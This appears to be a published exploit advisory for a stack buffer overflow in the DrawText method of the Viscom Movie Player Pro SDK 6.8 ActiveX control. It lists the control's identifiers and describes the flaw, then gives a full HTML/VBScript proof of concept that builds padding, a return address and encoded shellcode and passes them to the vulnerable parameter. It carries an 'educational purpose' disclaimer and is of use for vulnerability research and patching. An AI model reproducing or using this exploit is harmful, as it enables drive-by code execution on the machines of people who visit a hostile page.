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Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow
url: http://www.viscomsoft.com/
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net/
File name: MoviePlayer.ocx
Version: 6.8.0.0
GUID: {F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}
ProgID: MOVIEPLAYER.MoviePlayerCtrl.1
Description: MoviePlayer Pro ActiveX
Safety report: RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data
Vuln. Method: "DrawText"
Vuln. Param.: "strFontName"
Description: A stack-based buffer overflow occurs when you pass to
"strFontName" parameter a string overly long than 24
bytes which leads into EIP overwrite allowing the
execution of arbitrary code in the context of the logged
on user.
This happens because an inadequate space is stored
into the buffer intended to receive the font name.
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on:
Windows XP Professional SP3 with Internet Explorer 8
Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit)
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<html>
<object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object>
<script language = 'vbscript'>
buf_1 = String(32, "A")
pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro
buf_2 = String(416, "A")
sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _
unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _
unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _
unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _
unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _
unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _
unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _
unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _
unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _
unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _
unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _
unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _
unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _
unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _
unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _
unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _
unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _
unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")
buf_3 = String(4899, "A")
egg = buf_1 & pwEIP & buf_2 & sCode & buf_3
test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1
</script>
</html>
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